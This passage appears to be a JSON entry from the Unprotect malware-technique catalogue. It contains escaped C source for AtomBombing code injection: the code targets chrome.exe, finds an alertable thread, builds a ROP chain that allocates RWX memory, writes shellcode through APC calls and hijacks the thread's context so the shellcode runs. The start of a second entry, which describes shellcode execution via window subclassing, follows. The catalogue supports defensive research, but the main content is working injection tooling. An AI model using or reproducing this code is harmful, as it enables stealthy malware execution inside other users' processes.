hProcess;\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_GetSectionHeader(\r\n\tHMODULE hModule, \r\n\tPSTR pszSectionName, \r\n\tPIMAGE_SECTION_HEADER *pptSectionHeader\r\n\t)\r\n{\r\n\tPIMAGE_DOS_HEADER ptDosHeader = NULL;\r\n\tPIMAGE_NT_HEADERS ptNtHeaders = NULL;\r\n\tPIMAGE_SECTION_HEADER ptSectionHeader = NULL;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tBOOL bFound = FALSE;\r\n\r\n\tptDosHeader = (PIMAGE_DOS_HEADER)hModule;\r\n\tif (IMAGE_DOS_SIGNATURE != ptDosHeader->e_magic)\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tptNtHeaders = (PIMAGE_NT_HEADERS)(((DWORD)ptDosHeader) + (PUCHAR)ptDosHeader->e_lfanew);\r\n\tif (FALSE != IsBadReadPtr(ptNtHeaders, sizeof(IMAGE_NT_HEADERS)))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\tif (IMAGE_NT_SIGNATURE != ptNtHeaders->Signature)\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tptSectionHeader = IMAGE_FIRST_SECTION(ptNtHeaders);\r\n\r\n\tfor (int i = 0; i < ptNtHeaders->FileHeader.NumberOfSections; i++)\r\n\t{\r\n\t\tif (0 == strncmp(pszSectionName, (PCHAR)ptSectionHeader->Name, IMAGE_SIZEOF_SHORT_NAME))\r\n\t\t{\r\n\t\t\tbFound = TRUE;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tptSectionHeader++;\r\n\t}\r\n\r\n\tif (FALSE == bFound)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_GETSECTIONHEADER_SECTION_NOT_FOUND;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\t*pptSectionHeader = ptSectionHeader;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_GetCodeCaveAddress(PVOID *ppvCodeCave)\r\n{\r\n\tPIMAGE_SECTION_HEADER ptSectionHeader = NULL;\r\n\tPVOID pvCodeCave = NULL;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tHMODULE hNtDll = NULL;\r\n\r\n\thNtDll = GetModuleHandleA(\"kernelbase.dll\");\r\n\tif (NULL == hNtDll)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_GETCODECAVEADDRESS_GETMODULEHANDLEA_FAILED;\r\n\t}\r\n\r\n\teReturn = main_GetSectionHeader(hNtDll, DATA_SECTION, &ptSectionHeader);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tpvCodeCave = (PVOID) (\r\n\t\t(DWORD) hNtDll + \r\n\t\tptSectionHeader->VirtualAddress + \r\n\t\tptSectionHeader->SizeOfRawData\r\n\t\t);\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\t*ppvCodeCave = pvCodeCave;\r\n\r\nlblCleanup:\r\n\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_FindRetGadget(PVOID *ppvRetGadget)\r\n{\r\n\tPIMAGE_SECTION_HEADER ptSectionHeader = NULL;\r\n\tPVOID pvCodeCave = NULL;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tHMODULE hNtDll = NULL;\r\n\tPVOID pvRetGadget = NULL;\r\n\r\n\thNtDll = GetModuleHandleA(NTDLL);\r\n\tif (NULL == hNtDll)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_FINDRETGADGET_GETMODULEHANDLEA_FAILED;\r\n\t}\r\n\r\n\teReturn = main_GetSectionHeader(hNtDll, TEXT_SECTION, &ptSectionHeader);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tpvRetGadget = memchr(\r\n\t\thNtDll + ptSectionHeader->VirtualAddress, \r\n\t\tX86_RET, \r\n\t\tptSectionHeader->SizeOfRawData\r\n\t\t);\r\n\tif (NULL == pvRetGadget)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_FINDRETGADGET_RET_GADGET_NOT_FOUND;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\t*ppvRetGadget = pvRetGadget;\r\n\r\nlblCleanup:\r\n\r\n\treturn eReturn;\r\n}\r\ntypedef struct _ROPCHAIN\r\n{\r\n\t// Return address of ntdll!ZwAllocateMemory\r\n\tPVOID pvMemcpy;\r\n\r\n\t// Params for ntdll!ZwAllocateMemory\r\n\tHANDLE ZwAllocateMemoryhProcess;\r\n\tPVOID ZwAllocateMemoryBaseAddress;\r\n\tULONG_PTR ZwAllocateMemoryZeroBits;\r\n\tPSIZE_T ZwAllocateMemoryRegionSize;\r\n\tULONG ZwAllocateMemoryAllocationType;\r\n\tULONG ZwAllocateMemoryProtect;\r\n\r\n\t// Return address of ntdll!memcpy\r\n\tPVOID pvRetGadget;\r\n\r\n\t// Params for ntdll!memcpy\t\r\n\tPVOID MemcpyDestination;\r\n\tPVOID MemcpySource;\r\n\tSIZE_T MemcpyLength;\r\n\r\n} ROPCHAIN, *PROPCHAIN;\r\n\r\nESTATUS main_BuildROPChain(\r\n\tPVOID pvROPLocation, \r\n\tPVOID pvShellcodeLocation, \r\n\tPROPCHAIN ptRopChain\r\n\t)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tROPCHAIN tRopChain = { 0 };\r\n\r\n\ttRopChain.ZwAllocateMemoryhProcess = GetCurrentProcess();\r\n\r\n\ttRopChain.ZwAllocateMemoryBaseAddress = (PUCHAR)pvROPLocation + FIELD_OFFSET(\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tROPCHAIN, \r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tMemcpyDestination\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\r\n\ttRopChain.ZwAllocateMemoryZeroBits = NULL;\r\n\r\n\ttRopChain.ZwAllocateMemoryRegionSize = (PSIZE_T)((PUCHAR)pvROPLocation + FIELD_OFFSET(\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tROPCHAIN, \r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tMemcpyLength)\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\r\n\ttRopChain.ZwAllocateMemoryAllocationType = MEM_COMMIT;\r\n\ttRopChain.ZwAllocateMemoryProtect = PAGE_EXECUTE_READWRITE;\r\n\ttRopChain.MemcpyDestination = (PVOID)0x00;\r\n\ttRopChain.MemcpySource = pvShellcodeLocation;\r\n\ttRopChain.MemcpyLength = sizeof(SHELLCODE);\r\n\t\r\n\teReturn = GetFunctionAddressFromDll(\r\n\t\tNTDLL, \r\n\t\tMEMCPY, \r\n\t\t&tRopChain.pvMemcpy\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tprintf(\"ntdll!memcpy: 0x%X\", tRopChain.pvMemcpy);\r\n\r\n\t// Find a ret instruction in order to finally jump to the \r\n\t// newly allocated executable shellcode.\r\n\teReturn = main_FindRetGadget(&tRopChain.pvRetGadget);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\t*ptRopChain = tRopChain;\r\n\r\nlblCleanup:\r\n\r\n\treturn eReturn;\r\n\r\n}\r\n\r\nESTATUS main_EnumProcessThreadIds(\r\n\tHANDLE hProcess, \r\n\tPDWORD *ppdwThreadIds, \r\n\tPDWORD pcbThreadIdsSize, \r\n\tPDWORD pdwNumberOfProcessThreads\r\n\t)\r\n{\r\n\tHANDLE hSnapshot = NULL;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tTHREADENTRY32 tThreadEntry;\r\n\tBOOL bErr = FALSE;\r\n\tDWORD dwProcessId = 0;\r\n\tPDWORD pdwThreadIds = NULL;\r\n\tDWORD cbThreadIdsSize = 0;\r\n\tDWORD dwNumberOfMatchingThreads = 0;\r\n\r\n\tdwProcessId = GetProcessId(hProcess);\r\n\r\n\thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);\r\n\tif (INVALID_HANDLE_VALUE == hSnapshot)\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\ttThreadEntry.dwSize = sizeof(THREADENTRY32);\r\n\tbErr = Thread32First(hSnapshot, &tThreadEntry);\r\n\tif (FALSE == bErr)\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tdo\r\n\t{\r\n\t\tif (tThreadEntry.th32OwnerProcessID != dwProcessId)\r\n\t\t{\r\n\t\t\tcontinue;\r\n\t\t}\r\n\r\n\t\tcbThreadIdsSize += sizeof(tThreadEntry.th32ThreadID);\r\n\t\tif (sizeof(tThreadEntry.th32ThreadID) == cbThreadIdsSize)\r\n\t\t{\r\n\r\n\t\t\tpdwThreadIds = (PDWORD) HeapAlloc(\r\n\t\t\t\tGetProcessHeap(), \r\n\t\t\t\tHEAP_ZERO_MEMORY, \r\n\t\t\t\tcbThreadIdsSize\r\n\t\t\t\t);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tpdwThreadIds = (PDWORD) HeapReAlloc(\r\n\t\t\t\tGetProcessHeap(), \r\n\t\t\t\tHEAP_ZERO_MEMORY, \r\n\t\t\t\tpdwThreadIds, \r\n\t\t\t\tcbThreadIdsSize\r\n\t\t\t\t);\r\n\t\t}\r\n\t\tif (NULL == pdwThreadIds)\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\r\n\t\tpdwThreadIds[dwNumberOfMatchingThreads++] = tThreadEntry.th32ThreadID;\r\n\r\n\t} while (bErr = Thread32Next(hSnapshot, &tThreadEntry));\r\n\r\n\t*ppdwThreadIds = pdwThreadIds;\r\n\t*pcbThreadIdsSize = cbThreadIdsSize;\r\n\t*pdwNumberOfProcessThreads = dwNumberOfMatchingThreads;\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\tif ((NULL != hSnapshot) && (INVALID_HANDLE_VALUE != hSnapshot))\r\n\t{\r\n\t\tCloseHandle(hSnapshot);\r\n\t\thSnapshot = NULL;\r\n\t}\r\n\t\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tif (NULL != pdwThreadIds)\r\n\t\t{\r\n\t\t\tHeapFree(GetProcessHeap(), 0, pdwThreadIds);\r\n\t\t\tpdwThreadIds = NULL;\r\n\t\t}\r\n\t}\r\n\r\n\treturn eReturn;\r\n}\r\n\r\nVOID main_CloseLocalHandleArray(PHANDLE phHandles, DWORD cbHandleCount)\r\n{\r\n\tfor (DWORD dwIndex = 0; dwIndex < cbHandleCount; dwIndex++)\r\n\t{\r\n\t\tif (NULL != phHandles[dwIndex])\r\n\t\t{\r\n\t\t\tCloseHandle(phHandles[dwIndex]);\r\n\t\t\tphHandles[dwIndex] = NULL;\r\n\t\t}\r\n\t}\r\n}\r\n\r\nVOID main_CloseRemoteHandleArray(\r\n\tHANDLE hProcess,\r\n\tPHANDLE phHandles,\r\n\tDWORD cbHandleCount\r\n\t)\r\n{\r\n\tfor (DWORD dwIndex = 0; dwIndex < cbHandleCount; dwIndex++)\r\n\t{\r\n\t\tHANDLE hTemp = NULL;\r\n\r\n\t\tif (NULL != phHandles[dwIndex])\r\n\t\t{\r\n\t\t\tDuplicateHandle(\r\n\t\t\t\thProcess,\r\n\t\t\t\tphHandles[dwIndex],\r\n\t\t\t\tGetCurrentProcess(),\r\n\t\t\t\t&hTemp,\r\n\t\t\t\t0,\r\n\t\t\t\tFALSE,\r\n\t\t\t\tDUPLICATE_CLOSE_SOURCE\r\n\t\t\t\t);\r\n\t\t\tphHandles[dwIndex] = NULL;\r\n\t\t}\r\n\r\n\t\tif (NULL != hTemp)\r\n\t\t{\r\n\t\t\tCloseHandle(hTemp);\r\n\t\t\thTemp = NULL;\r\n\t\t}\r\n\t}\r\n}\r\n\r\nESTATUS main_EnumProcessThreads(\r\n\tHANDLE hProcess, \r\n\tPHANDLE *pphProcessThreadsHandles, \r\n\tPDWORD pcbProcessThreadsHandlesSize, \r\n\tPDWORD pdwNumberOfProcessThreads\r\n\t)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tPDWORD pdwProcessThreadIds = NULL;\r\n\tDWORD cbProcessThreadIdsSize = 0;\r\n\tDWORD dwNumberOfProcessThreads = 0;\r\n\tPHANDLE phProcessThreadsHandles = NULL;\r\n\r\n\teReturn = main_EnumProcessThreadIds(\r\n\t\thProcess, \r\n\t\t&pdwProcessThreadIds, \r\n\t\t&cbProcessThreadIdsSize, \r\n\t\t&dwNumberOfProcessThreads\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tcbProcessThreadIdsSize = dwNumberOfProcessThreads * sizeof(HANDLE);\r\n\tphProcessThreadsHandles = (PHANDLE) HeapAlloc(\r\n\t\tGetProcessHeap(), \r\n\t\tHEAP_ZERO_MEMORY, \r\n\t\tcbProcessThreadIdsSize\r\n\t\t);\r\n\tif (NULL == phProcessThreadsHandles)\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tfor (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)\r\n\t{\r\n\t\tDWORD dwThreadId = pdwProcessThreadIds[dwIndex];\r\n\r\n\t\tphProcessThreadsHandles[dwIndex] = OpenThread(THREAD_ALL_ACCESS, FALSE, dwThreadId);\r\n\t\tif (NULL == phProcessThreadsHandles[dwIndex])\r\n\t\t{\r\n\t\t\teReturn = ESTATUS_MAIN_ENUMPROCESSTHREADS_OPENTHREAD_FAILED;\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\t}\r\n\r\n\t*pphProcessThreadsHandles = phProcessThreadsHandles;\r\n\t*pcbProcessThreadsHandlesSize = cbProcessThreadIdsSize;\r\n\t*pdwNumberOfProcessThreads = dwNumberOfProcessThreads;\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\tif (NULL != pdwProcessThreadIds)\r\n\t{\r\n\t\tHeapFree(GetProcessHeap(), 0, pdwProcessThreadIds);\r\n\t\tpdwProcessThreadIds = NULL;\r\n\t}\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tmain_CloseLocalHandleArray(phProcessThreadsHandles, dwNumberOfProcessThreads);\r\n\r\n\t\tif (NULL != phProcessThreadsHandles)\r\n\t\t{\r\n\t\t\tHeapFree(GetProcessHeap(), 0, phProcessThreadsHandles);\r\n\t\t\tphProcessThreadsHandles = NULL;\r\n\t\t}\r\n\t}\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_GetThreadContext(\r\n\tHANDLE hThread, \r\n\tDWORD dwContextFlags, \r\n\tPCONTEXT ptContext\r\n\t)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tDWORD dwErr = 0;\r\n\tBOOL bErr = FALSE;\r\n\tCONTEXT tContext = { NULL };\r\n\r\n\ttContext.ContextFlags = dwContextFlags;\r\n\r\n\tSuspendThread(hThread);\r\n\tif (((DWORD)-1) == dwErr)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_GETTHREADCONTEXT_SUSPENDTHREAD_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tbErr = GetThreadContext(hThread, &tContext);\r\n\tif (FALSE == bErr)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_GETTHREADCONTEXT_GETTHREADCONTEXT_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tResumeThread(hThread);\r\n\tif (((DWORD)-1) == dwErr)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_GETTHREADCONTEXT_RESUMETHREAD_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\t*ptContext = tContext;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_FindAlertableThread(HANDLE hProcess, PHANDLE phAlertableThread)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tPHANDLE phProcessThreadsHandles = NULL;\r\n\tDWORD cbProcessThreadsHandlesSize = 0;\r\n\tDWORD dwNumberOfProcessThreads = 0;\r\n\tBOOL bErr = FALSE;\r\n\tDWORD dwErr = 0;\r\n\tHANDLE hAlertableThread = 0;\r\n\tPVOID pfnNtWaitForSingleObject = NULL;\r\n\tPHANDLE phLocalEvents = NULL;\r\n\tPHANDLE phRemoteEvents = NULL;\r\n\r\n\teReturn = main_EnumProcessThreads(\r\n\t\thProcess, \r\n\t\t&phProcessThreadsHandles, \r\n\t\t&cbProcessThreadsHandlesSize, \r\n\t\t&dwNumberOfProcessThreads\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tfor (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)\r\n\t{\r\n\t\tHANDLE hThread = phProcessThreadsHandles[dwIndex];\r\n\t\t\r\n\t\teReturn = main_NtQueueApcThreadWaitForSingleObjectEx(\r\n\t\t\thThread, \r\n\t\t\tGetCurrentThread(), \r\n\t\t\t5000, \r\n\t\t\tTRUE);\r\n\t\tif (ESTATUS_FAILED(eReturn))\r\n\t\t{\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t}\r\n\r\n\tphLocalEvents = (PHANDLE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNumberOfProcessThreads * sizeof(HANDLE));\r\n\tif (NULL == phLocalEvents)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tphRemoteEvents = (PHANDLE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNumberOfProcessThreads * sizeof(HANDLE));\r\n\tif (NULL == phRemoteEvents)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC2_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tfor (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)\r\n\t{\r\n\t\tHANDLE hThread = phProcessThreadsHandles[dwIndex];\r\n\t\t\r\n\t\tphLocalEvents[dwIndex] = CreateEvent(NULL, TRUE, FALSE, NULL);\r\n\t\tif (NULL == phLocalEvents[dwIndex])\r\n\t\t{\r\n\t\t\teReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_CREATEEVENT_FAILED;\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\t\t\r\n\t\tbErr = DuplicateHandle(\r\n\t\t\tGetCurrentProcess(),\r\n\t\t\tphLocalEvents[dwIndex],\r\n\t\t\thProcess,\r\n\t\t\t&phRemoteEvents[dwIndex],\r\n\t\t\t0,\r\n\t\t\tFALSE,\r\n\t\t\tDUPLICATE_SAME_ACCESS\r\n\t\t\t);\r\n\t\tif (FALSE == bErr)\r\n\t\t{\r\n\t\t\teReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_DUPLICATEHANDLE_FAILED;\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\t\t\r\n\t\teReturn = main_ApcSetEventAndKeepAlertable(hThread, phRemoteEvents[dwIndex]);\r\n\t\tif (ESTATUS_FAILED(eReturn))\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\r\n\t}\r\n\r\n\tDWORD dwWaitResult = WaitForMultipleObjects(dwNumberOfProcessThreads, phLocalEvents, FALSE, 5000);\r\n\tif (WAIT_FAILED == dwWaitResult)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_WAITFORMULTIPLEOBJECTS_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\tif (WAIT_TIMEOUT == dwWaitResult)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_NO_ALERTABLE_THREADS_FOUND;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\t\r\n\thAlertableThread = phProcessThreadsHandles[dwWaitResult - WAIT_OBJECT_0];\r\n\r\n\t//If the thread is in an alertable state, keep it that way \"forever\".\r\n\teReturn = main_NtQueueApcThreadWaitForSingleObjectEx(\r\n\t\thAlertableThread, \r\n\t\tGetCurrentThread(), \r\n\t\tINFINITE, \r\n\t\tTRUE\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\t*phAlertableThread = hAlertableThread;\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\r\n\tmain_CloseRemoteHandleArray(\r\n\t\thProcess,\r\n\t\tphRemoteEvents,\r\n\t\tdwNumberOfProcessThreads\r\n\t\t);\r\n\r\n\tif (NULL != phRemoteEvents)\r\n\t{\r\n\t\tHeapFree(GetProcessHeap(), 0, phRemoteEvents);\r\n\t\tphRemoteEvents = NULL;\r\n\t}\r\n\r\n\tmain_CloseLocalHandleArray(\r\n\t\tphLocalEvents,\r\n\t\tdwNumberOfProcessThreads\r\n\t\t);\r\n\t\r\n\tif (NULL != phLocalEvents)\r\n\t{\r\n\t\tHeapFree(GetProcessHeap(), 0, phLocalEvents);\r\n\t\tphLocalEvents = NULL;\r\n\t}\r\n\r\n\tfor (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)\r\n\t{\r\n\t\tPHANDLE phThread = &phProcessThreadsHandles[dwIndex];\r\n\r\n\t\tif ((NULL != *phThread) && (hAlertableThread != *phThread))\r\n\t\t{\r\n\t\t\tCloseHandle(*phThread);\r\n\t\t\t*phThread = NULL;\r\n\t\t}\r\n\t}\r\n\r\n\tif (NULL != phProcessThreadsHandles)\r\n\t{\r\n\t\tHeapFree(GetProcessHeap(), 0, phProcessThreadsHandles);\r\n\t\tphProcessThreadsHandles = NULL;\r\n\t}\r\n\t\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_GetThreadTebAddress(HANDLE hThread, PVOID *ppvTebAddress)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tCONTEXT tContext = { 0 };\r\n\tBOOL bErr = FALSE;\r\n\tLDT_ENTRY tLdtEnry = { 0 };\r\n\tPVOID pvTebAddress;\r\n\r\n\teReturn = main_GetThreadContext(hThread, CONTEXT_SEGMENTS, &tContext);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tbErr = GetThreadSelectorEntry(hThread, tContext.SegFs, &tLdtEnry);\r\n\tif (FALSE == bErr)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_GETTHREADTEBADDRESS_GETTHREADSELECTORENTRY_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tpvTebAddress = (PVOID)(\r\n\t\t(tLdtEnry.BaseLow) | \r\n\t\t(tLdtEnry.HighWord.Bytes.BaseMid << 0x10) | \r\n\t\t(tLdtEnry.HighWord.Bytes.BaseHi << 0x18)\r\n\t\t);\r\n\r\n\t*ppvTebAddress = pvTebAddress;\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n\r\n}\r\n\r\n\r\n\r\nint main()\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tPVOID pvRemoteShellcodeAddress = NULL;\r\n\tPVOID pvRemoteGetProcAddressLoadLibraryAddress = NULL;\r\n\tPVOID pvRemoteContextAddress = NULL;\r\n\tPVOID pvRemoteROPChainAddress = NULL;\r\n\tCONTEXT tContext = { 0 };\r\n\tCHAR acShellcode[] = SHELLCODE;\r\n\tPVOID pvCodeCave = NULL;\r\n\tBOOL bErr = FALSE;\r\n\tROPCHAIN tRopChain = { 0 };\r\n\tHANDLE hProcess = NULL;\r\n\tHANDLE hAlertableThread = NULL;\r\n\tATOM tAtom = 0;\r\n\tprintf(\"[*] ATOM BOMBING\\n\\n\\n\");\r\n\r\n\teReturn = main_OpenProcessByName(L\"chrome.exe\", &hProcess);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tprintf(\"[*] Searching for an alertable thread.\\n\\n\\n\");\r\n\teReturn = main_FindAlertableThread(hProcess, &hAlertableThread);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\tprintf(\"[*] Found an alertable thread. Handle: 0x%X.\\n\\n\\n\", hAlertableThread);\r\n\r\n\tprintf(\"[*] Finding remote code cave.\\n\\n\\n\");\r\n\teReturn = main_GetCodeCaveAddress(&pvCodeCave);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\tprintf(\"[*] Remote code cave found: 0x%X.\\n\\n\\n\", pvCodeCave);\r\n\r\n\tpvRemoteROPChainAddress = pvCodeCave;\r\n\tpvRemoteContextAddress = (PUCHAR)pvRemoteROPChainAddress + sizeof(ROPCHAIN);\r\n\tpvRemoteGetProcAddressLoadLibraryAddress = (PUCHAR)pvRemoteContextAddress + FIELD_OFFSET(CONTEXT, ExtendedRegisters);\r\n\tpvRemoteShellcodeAddress = (PUCHAR)pvRemoteGetProcAddressLoadLibraryAddress + 8;\r\n\r\n\tprintf(\"[*] Building ROP chain.\\n\\n\\n\");\r\n\teReturn = main_BuildROPChain(pvRemoteROPChainAddress, pvRemoteShellcodeAddress, &tRopChain);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tprintf(\"[*] Copying the addresses of LoadLibraryA and GetProcAddress to the remote process's memory address space.\\n\\n\\n\");\r\n\teReturn = main_ApcCopyFunctionPointers(hProcess, hAlertableThread, pvRemoteGetProcAddressLoadLibraryAddress);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\t*(PDWORD)(acShellcode + SHELLCODE_FUNCTION_POINTERS_OFFSET) = (DWORD)(pvRemoteGetProcAddressLoadLibraryAddress);\r\n\r\n\tprintf(\"[*] Copying the shellcode to the target process's address space.\\n\\n\\n\");\r\n\teReturn = main_ApcWriteProcessMemory(hProcess, hAlertableThread, (PUCHAR)pvRemoteShellcodeAddress, acShellcode, sizeof(acShellcode));\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\r\n\tprintf(\"[*] Copying ROP chain to the target process's address space: 0x%X.\\n\\n\\n\", pvRemoteROPChainAddress);\r\n\teReturn = main_ApcWriteProcessMemory(hProcess, hAlertableThread, (PUCHAR)pvRemoteROPChainAddress, &tRopChain, sizeof(tRopChain));\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tbErr = main_GetThreadContext(hAlertableThread, CONTEXT_CONTROL, &tContext);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\ttContext.Eip = (DWORD) GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"ZwAllocateVirtualMemory\");\r\n\ttContext.Ebp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;\r\n\ttContext.Esp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;\r\n\r\n\tprintf(\"[*] Hijacking the remote thread to execute the shellcode (by executing the ROP chain).\\n\\n\\n\");\r\n\teReturn = main_ApcSetThreadContext(hProcess, hAlertableThread, &tContext, pvRemoteContextAddress);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\nlblCleanup:\r\n\tif (NULL != hProcess)\r\n\t{\r\n\t\tCloseHandle(hProcess);\r\n\t\thProcess = NULL;\r\n\t}\r\n\tif (NULL != hAlertableThread)\r\n\t{\r\n\t\tCloseHandle(hAlertableThread);\r\n\t\thAlertableThread = NULL;\r\n\t}\r\n\treturn 0;\r\n}"
        },
        {
            "id": 170,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 3,
                "name": "Unprotect",
                "email": null,
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/120/?format=api",
            "description": "This code snippet first obtains the handle of the target window using the FindWindow function. It then retrieves the original window procedure for the target window using the GetWindowLongPtr function. Next, it sets the window subclassing callback function using the SetWindowLongPtr function. When a message is sent to the target window, the callback function will be executed, and it will execute the shellcode and call the original window procedure.",
